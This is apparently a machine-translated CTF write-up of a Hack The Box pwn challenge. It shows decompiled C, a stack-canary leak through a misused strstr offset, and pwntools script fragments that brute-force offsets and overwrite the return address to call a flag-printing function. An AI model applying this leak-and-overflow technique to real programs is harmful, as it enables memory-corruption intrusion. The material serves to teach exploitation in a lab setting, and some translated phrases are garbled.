网络启示录2025-庸医
Table of Contents
Quack Quack
我今年HTB CTF最喜欢的挑战之一是Quack Quack
对于Quack Quack,我们得到了两件事:
1。二进制精灵文件quack_quack
2。一个IP和一个要连接到的端口
连接到遥控器,用鸭子和提示迎接我们,无论给出什么输入,它都会立即退出
作为我们唯一得到的另一件事,我在吉德拉(Ghidra)打开
quack_quack
二进制文件,以查看发生了什么(我假设二进制文件是遥控器上运行的内容)。
拆卸后,请注意,我们在左侧看到了几个有趣的功能:
-
duckling
-duck_attack
-banner
-setup
main
其中,仅duckling
,duck_attack
和main
是相关的。因此,让我们看一下主要功能,以了解程序的逻辑如何展开:
在这里,我们看到,在击中主函数后,程序简单地创建一个金丝雀,执行
duckling
,然后退出。因此,让我们看一下duckling
这里有很多逻辑,所以让我们将其分解:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
该功能的第一部分分配了一堆变量 - 没什么疯狂的。 local_10
是金丝雀值。
接下来,它将输出提示到stdout(请记住,这是我们连接到远程时看到的同一提示):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
然后读取stdin的102个字节,并将数据存储在指针local_88
read(0,&local_88,0x66);
然后,我们执行strstr ( const char * str1, const char * str2 )
C函数,该功能将指针返回str1中的第一次出现str2,如果找不到的(如果找不到),则null指针。从本质上讲,它正在搜索我们的输入&local_88
,以查找字符串“ Quack Quack”,如果找不到字符串或指向“ Quack Quack Quack”的位置,则返回空指针。
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
然后该程序检查结果是否为null指针。如果是这样,它将退出并写出消息。同样,这就是我们连接时看到的。
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
如果愿意,我们可以通过再次连接到遥控器并输入“ Quack Quack”来验证此逻辑(检查空间)
返回代码:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
在这里,该程序打印了一条替换的消息,用上一个摘要中的数据指针之后的32个字节替换%s
。之后,它执行另一个stdin读取,但是这次读取40(0x28)字节,并将其存储在变量中:
read(0,&local_68,0x6a)
之后,它无条件地打印一个固定的字符串并返回。
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
确实,我们可以看到这种行为:
在这一点上很明显,我们正在引发缓冲区溢出攻击。关键问题是local_68
仅是0x20(32)字节,距离第一个缓冲区的末尾只有距离,但是第二个读取接受106个字节。这意味着我们可以编写经过缓冲区边界并可能覆盖返回地址。
另外,请记住我们看到的另一个功能:duck_attack
。显然,此功能是我们的目标。我们想在服务器上执行此操作,但是图厚度:请记住,我们已经看到了main
func和duckling
func的代码,并且在代码中没有任何地方可以调用此功能。因此,在正常条件下,此功能永远不会被调用,并且没有逻辑路径会导致此功能运行。这意味着,仅有的可能在服务器上执行此操作的方法是通过溢出覆盖返回地址。
很酷,让我们尝试一下缓冲区溢出攻击。这可以通过连接调试器并生成106个字节长的有效载荷来轻松完成,并将其用作第二个输入。请记住,我们需要将“ Quack Quack”作为第一个传递检查的输入:
这是挑战变得更加困难的地方。如_DAST5_*: terminated
崩溃所示,它具有防止缓冲溢出攻击的保护。在RBP跳跃之前,可以通过编译器自动生成的金丝雀支票提供保护。您可以阅读有关此操作的更多信息here,但基本上是:
- 在存储器中的
RBP
缓冲区之前,放置了一个金丝雀值(仅在运行时生成一堆随机数据)。 - 如果更改了金丝雀值,则意味着在其前面的缓冲区将其溢出到金丝雀地址中,并且程序知道发生缓冲区溢出。这是崩溃发生的时候。
- 因为
RBP
存储返回地址,所以函数不能返回,除非金丝雀保持不变
这会使我们的样式扭曲,因为典型的缓冲区溢出攻击是通过将返回地址覆盖到我们选择的地址(在这种情况下,我们选择duck_attack
的地址)来起作用。但是,由于返回指针在堆栈的末端,因此我们需要覆盖金丝雀才能到达它。
绕过此类保护的唯一方法是以某种方式泄漏运行时的金丝雀值,当溢出和破坏预期缓冲区之外的数据时,我们将金丝雀值放置在正确的偏移量。
在第一个输入的逻辑中存在一个漏洞:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
总而言之,此代码:
- 返回输入中
Quack Quack
的第一个实例的指针 - 打印与该指针的偏移32字节的内存。
在这里,我们可以操纵指针,并希望它打印出金丝雀值。让我们再次打开调试器,并在相关输出后立即设置一个断点。
现在,我们从本质上可以通过从输入开始时操纵检查子字符串的偏移来读取任意内存(只能是102个字节大)。不幸的是,我们不知道与输入缓冲区存储的位置相对于加拿大即可的位置。例如,以49 a在字符串之前的49 a进行以下执行:
如果
%s
被替换,我们看到它没有输出。这是因为据推测,内存地址32字节来自用49 A生成的任何指针是空的。由于我们现在正在猜测内存,因此我们需要开始自动化。为此,我将使用Python和pwntools
。
让我们编写一个快速脚本,以违反泄漏金丝雀所需的A数量。在这种情况下,我们只需要测试1-90,因为最大缓冲区大小为102个字节,并且“ Quack Quack”已经占用12个。
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
我没有在代码中写评论,但这应该是相当自我解释的。这是输出:
在大多数情况下,内存为空。但是您会在某些位置中看到我们设法获得一些数据。只有偏移89,我们实际上才能看到大量可用的数据。这意味着我们很可能在最后找到了金丝雀!我们在这里处理二进制数据,因此不会正确显示在终端上。为了解决这个问题,我们需要在脚本中进行一些解析。
注意:我在这里被卡住了几个小时。问题在于我们正在阅读记忆并输出记忆,因此Endians被翻转了。我们需要手动重新排列末日才能拥有可用的数据
我们更改脚本类似:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
现在我们有金丝雀价值!
因为这是在运行时生成的,所以不幸的是,我们无法将其用作最终值,因此我们必须在运行时提取它并在有效负载中使用它。不是问题,但值得注意。
现在,记住。我们的目标是重写返回地址以返回到duck_attack
函数以打印标志。我们知道拆卸功能的地址:
我们可以将地址添加为变量,并记住要翻转Endian:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
但是在此之前,让我们回到调试器,尝试验证我们的金丝雀。不幸的是,在GDB中,我们达到了断点后:并检查堆栈:
,由于未显示在我们的终端上的二进制数据,我们无法将金丝雀与内存中的金属进行比较。因此,我们需要将GDB调试器附加到脚本中,我们可以在其中解析原始输出
为此,我们只添加gdb.attach(conn)
,然后在要检查的地方,可以添加pause()
。在我们的情况下,我们只需在关闭连接之前添加pause()
即可。现在,我们打印金丝雀后立即打开调试器:
您会看到我们的金丝雀比赛!这意味着,现在我们可以转到利用的第二部分(请记住第二个
read()
?)
现在,我们拥有金丝雀,我们正在尝试覆盖返回地址。就像金丝雀一样,我们不知道目标相对于我们覆盖的堆栈的位置。我们可以做类似的事情,类似于我们如何做第一部分并爆发它。请记住,金丝雀将在RBP之前就在RBP之前,因此我们可以在结尾处慢慢添加与金丝雀的溢出。
虽然溢出足够小,但金丝雀不会被触摸,也不会发生任何事情。当溢出太大时,我们的垃圾字符将覆盖金丝雀,我们将崩溃。但是,当我们正确的偏移量时,它将完美地重叠金丝雀,并将返回地址替换为duck_attack
的地址,读取flag.txt文件。
因此,让我们将其添加到我们的脚本中,在i
:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
我们通过88 A的结果获得了一个有趣的结果:
但是...我们希望得到旗帜。它在哪里?为什么我们要显示一些随机文本?
让我们跳入我们的调试器,找出答案:
我们验证了RBP并未覆盖。因此,这导致了一个问题:我们的有效载荷在哪里最终?哈哈。让我们看一下堆栈并找出答案。
好吧,这很有趣。我们的有效载荷(
40137f
)在0x7ffe95725d30
,但我们希望它在0x7ffe95725d20
中。因此,让我们在攻击有效载荷和调试之前添加一些字节:
好吧,这是进步。现在,我们看到我们部分覆盖RBP,导致无效的内存地址:
因此,让我们在攻击有效载荷之前添加8个字节以将其移至位置
+ (b'A'*8) + attack_bytes
看起来我们明白了!我的计算机上的flag.txt已正确显示。现在,我们需要在服务器上执行此操作。
很好,我们明白了! (现在是凌晨2点)